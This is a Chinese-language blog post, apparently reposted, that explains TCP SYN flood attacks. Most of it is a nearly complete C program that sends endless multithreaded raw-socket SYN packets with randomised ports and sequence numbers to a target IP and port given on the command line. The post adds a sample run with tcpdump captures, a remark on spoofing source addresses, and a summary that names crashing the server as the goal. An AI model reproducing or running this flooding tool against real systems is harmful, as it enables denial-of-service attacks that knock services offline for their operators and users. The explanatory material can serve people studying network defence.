linux洪水攻击路由器,Linux网络编程之SYN洪水攻击

linux洪水攻击路由器,Linux网络编程之SYN洪水攻击SYN 洪水攻击原理 TCP 建立连接的时候要经过三次握手 1 源主机向目的主机发送 SYN 2 目的主机收到报方后向源主机发送一个 ACK 3 当源主机发收报文之后向目的主机发送一个 ACK 表示已经收到目的主机的 ACK 这时候才能够通信可以在目的主机发送完 ACK 后 源主机不再像目的主机发送 ACK 这样目的主机一直超时等待 即建立半连接 也可以发送大量的 SYN 包 让目的主机处理不过来 来消耗目的主机的

/

SYN洪水攻击原理:

TCP建立连接的时候要经过三次握手

(1)源主机向目的主机发送SYN

(2)目的主机收到报方后向源主机发送一个ACK

(3)当源主机发收报文之后向目的主机发送一个ACK,表示已经收到目的主机的ACK

这时候才能够通信

可以在目的主机发送完ACK后,源主机不再像目的主机发送ACK,这样目的主机一直超时等待,即建立半连接。

也可以发送大量的SYN包,让目的主机处理不过来,来消耗目的主机的带宽

/

#define MAXCHILD 2

#define K 1024

#define DATUML 1*K

static int PROTO_TCP=-1;//TCP协议类型

static unsigned long dest=0;//目的地址,32位二进制

static int dest_port=0;

static int rawsock=-1;//原始套接字

static int alive=0;

//整个IP报文包括3个部分,IP首部,TCP首部,TCP数据部分

struct dosseg_t {

struct ip iph;//IP头部

struct tcphdr tcph;//TCP头部

}dosseg;

struct pseudo_header    //needed for checksum calculation

{

unsigned int source_address;//源地址

unsigned int dest_address;//目的地址

unsigned char placeholder;

unsigned char protocol;//协议号

unsigned short tcp_length;//tcp包长度

struct tcphdr tcp;//tcp首部

};//一起计算校验和

//计算校验和

static unsigned short DoS_cksum(unsigned short *data,int length){

register int left=length;

register unsigned short*word=data;

register int sum=0;

unsigned short ret=0;

//计算偶数字节

while(left>1){

sum+=*word++;

left-=2;

}

if(left==1){

*(unsigned char*)(&ret)=*(unsigned char*)word;

sum+=ret;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

ret=~sum;

return ret;

}

static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数

int gap=end-begin+1;

int ret=0;

//系统时间初始化

srand((unsigned)time(0));

ret=random()%gap+begin;//介于begin与end之间的值

return ret;

}

static void DoS_tcp(){

struct in_addr src;//源地址

struct in_addr dst;//目的地址

int i;

struct sockaddr_in to;

//首先填充IP首部

dosseg.iph.ip_v=4;//IP版本号

dosseg.iph.ip_hl=5;//IP首部长度,以4字节为单位

dosseg.iph.ip_tos=0;//服务类型

dosseg.iph.ip_len=(sizeof(struct ip)+sizeof(struct tcphdr));//IP报文的总长度

dosseg.iph.ip_id=htons(getpid());//IP报文标识,进程PID

dosseg.iph.ip_off=0;//段偏移

dosseg.iph.ip_ttl=myrandom(200,255);//生存值

dosseg.iph.ip_p=PROTO_TCP;//协议类型

dosseg.iph.ip_sum=0;//检验和

src.s_addr=inet_addr(“222.27.253.108”);//htonl(myrandom(0,65535))

dosseg.iph.ip_src=src;

dst.s_addr=dest;

dosseg.iph.ip_dst=dst;

dosseg.iph.ip_sum=DoS_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));//检验和,IP首部长度

//填充TCP报文的首部

dosseg.tcph.source=htons(myrandom(0,65535));

dosseg.tcph.dest=htons(dest_port);

dosseg.tcph.seq=htonl((unsigned long)myrandom(0,65535));

dosseg.tcph.ack_seq=htons(myrandom(0,65535));

dosseg.tcph.syn=1;

dosseg.tcph.urg=1;

dosseg.tcph.fin=0;

dosseg.tcph.doff=5;//指的是TCP的首部长度为20字节

dosseg.tcph.window=htons(myrandom(0,65535));

dosseg.tcph.check=0;

dosseg.tcph.rst=0;

dosseg.tcph.urg_ptr=htons(myrandom(0,65535));

to.sin_family=AF_INET;

to.sin_addr.s_addr=dest;

to.sin_port=htons(dest_port);

//TCP Header

//     dosseg.tcph.source = htons (1234);

//     dosseg.tcph.dest = htons (80);

//     dosseg.tcph.seq = 0;

//     dosseg.tcph.ack_seq = 0;

//     dosseg.tcph.doff = 5;        /* first and only tcp segment */

//     dosseg.tcph.fin=0;

//     dosseg.tcph.syn=1;

//     dosseg.tcph.rst=0;

//     dosseg.tcph.psh=0;

//     dosseg.tcph.ack=0;

//     dosseg.tcph.urg=0;

//     dosseg.tcph.window = htons (5840);    /* maximum allowed window size */

//     dosseg.tcph.check = 0;/* if you set a checksum to zero, your kernel’s IP stack

//                 should fill in the correct checksum during transmission */

//     dosseg.tcph.urg_ptr = 0;

struct  pseudo_header psh;

psh.source_address = inet_addr(“222.27.253.108”);

psh.dest_address =inet_addr(“222.27.253.1”);

psh.placeholder = 0;

psh.protocol = IPPROTO_TCP;//TCP协议号

psh.tcp_length = htons(20);//TCP首部长度

memcpy(&psh.tcp , &dosseg.tcph , sizeof (struct tcphdr));

dosseg.tcph.check = DoS_cksum( (unsigned short*) &psh , sizeof (struct pseudo_header));//伪首部长度一起计算校验和

//发送数据

int size=sendto(rawsock,&dosseg,4*dosseg.iph.ip_hl+sizeof(struct

tcphdr),0,(struct sockaddr*)&to,sizeof(struct sockaddr));

if(size<0){

perror(“sendto”);

}

//printf(“size=%d\n”,size);

}

//线程函数

static void DoS_fun(unsigned long ip){

while(alive){

DoS_tcp();

}

}

static void DoS_sig(){

alive=0;

printf(“——-exit—-\n”);

return;

}

int main(int argc,char*argv[]){

struct hostent* host=NULL;//主机的相关信息

struct protoent*protocol=NULL;//协议的相关信息

char protoname[]=”tcp”;

struct in_addr dst;

int i=0;

int err=-1;

alive=1;

pthread_t pthread[MAXCHILD];//线程数组

signal(SIGINT,DoS_sig);//信号处理函数

if(argc<3){

return -1;

}

//获取UDP的协议类型

protocol=getprotobyname(protoname);

if(protocol==NULL){

perror(“get protobyname”);

return -1;

}

PROTO_TCP=protocol->p_proto;

dest=inet_addr(argv[1]);//得到目的地址

if(dest==INADDR_NONE){

host=gethostbyname(argv[1]);

if(host==NULL){

perror(“gethostbyname”);

}

memcpy((char*)&dst,host->h_addr,host->h_length);

dest=dst.s_addr;

}

dest_port=atoi(argv[2]);

//建立原始套接字

rawsock=socket(AF_INET,SOCK_RAW,PROTO_TCP);

printf(“rawsock=%d\n”,rawsock);

if(rawsock<0){

perror(“socket error”);

}

//设置手工填写IP首部

setsockopt(rawsock,SOL_IP,IP_HDRINCL,”1″,sizeof(“1”));

//建立多线程发送UDP包

for(i=0;i

err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);

}

//等待线程结束

for(i=0;i

pthread_join(pthread[i],NULL);

}

close(rawsock);

}

说明:TCP首部校验和的计算除了TCP首部还包括源地址,目的地址,协议号和首部长度12个字节的伪首部. SYN域需要设置为1. 如果要伪装IP,就随机出一个IP地址发送。

80号端口提供http服务.

运行结果:

[root@localhost 13章原始套接字]# ./tcp-attack 222.27.253.1 80

tcpdump抓到发出的TCP包:

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. arp who-has 202.118.185.87 tell 202.118.185.1

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

19:28:26. IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0

.253.108.10623 > 222.27.253.1.http: S 10623:10623(0) win 10623 urg 10623

主机返回的ACK包:

19:30:59.004230 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.005072 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.005913 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.006754 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.007684 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.008527 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.009371 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.011881 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.013792 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.014636 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.015479 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.016321 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.017166 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.018012 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.018856 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0

19:30:59.019767 IP 222.27.253.1.http > 222.27.253.1 win 0

总结:

本文主要介绍了基于TCP和SYN攻击,创建很多半开连接来减少服务器的资源,最终使服务器崩溃,达到攻击的目的。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/205376.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月19日 下午6:10
下一篇 2026年3月19日 下午6:10


相关推荐

  • Shell常用命令大全[通俗易懂]

    Shell常用命令大全[通俗易懂]嵌入式开发用的最多就是Shell命令,Shell命令是所有的Linux系统发行版所通用的,并不是说我在Ubuntu下学会了Shell命令,换另外一个Linux发行版操作系统以后就没用了,所以学习Shell命令非常有必要。1、目录信息查看命令文件浏览是最基本的操作了,Shell下文件浏览命令为ls,格式如下:ls[选项][路径]Is命令主要用于显示指定目录下的内容,列出指定目录下包含的所有的文件以及子目录,它的主要参数有:-a显示所有的文件以及子目录,包括以“”开头的隐藏文件。-l

    2022年10月18日
    5
  • java基本输入语句_java键盘输入语句

    java基本输入语句_java键盘输入语句在Java中进行输入时,最常用的两种输入方式为:1.使用ScannerScanner使用步骤:导入包importjava.util.Scanner;//导包的动作必须出现在类定义的上方创建对象//newScanner(System.in)为固定格式,不可以改变Scannersc=newScanner(System.in); 接收数据inti=sc.nextInt(); //这里使用的为int型,如果改变,则需要改变sc.nextInt();

    2025年11月25日
    5
  • RouterOS(ROS)设置动态域名(DDNS)「建议收藏」

    RouterOS(ROS)设置动态域名(DDNS)「建议收藏」使用DDNS把动态IP地址映射到一个固定的域名解析服务上,用户每次连接网络的时候客户端程序通过信息传递把该主机的动态IP地址传送给服务器程序,服务项目程序提供DNS服务并实现动态域名解析。添加一个Scheduler,system-&gt;Scheduler::globalddnsiptemp[/ipaddresget[/ipaddressfindinterface=…

    2022年5月9日
    249
  • C++ 数值与 string 的相互转换

    C++ 数值与 string 的相互转换使用函数模板将基本数据类型(整型、字符型、实型、布尔型)转换成string。//ostringstream对象用来进行格式化的输出,常用于将各种类型转换为string类型//ostringstream只支持&amp;lt;&amp;lt;操作符template&amp;lt;typenameT&amp;gt;stringtoString(constT&amp;amp;t){ostringstreamoss;//创建一个格式化输出流

    2022年5月14日
    37
  • 用户、角色、权限表的关系(mysql)

    用户、角色、权限表的关系(mysql)一,各个表格1、用户表CREATETABLE`t_user`( `id`varchar(40)NOTNULL, `username`varchar(20)NOTNULL, PRIMARYKEY(`id`))2、角色表CREATETABLE`t_role`( `id`int(11)NOT

    2026年4月17日
    6
  • “AI孙悟空”惊艳大阪世博会——讯飞星火大模型点燃产业出海引擎

    “AI孙悟空”惊艳大阪世博会——讯飞星火大模型点燃产业出海引擎

    2026年3月14日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号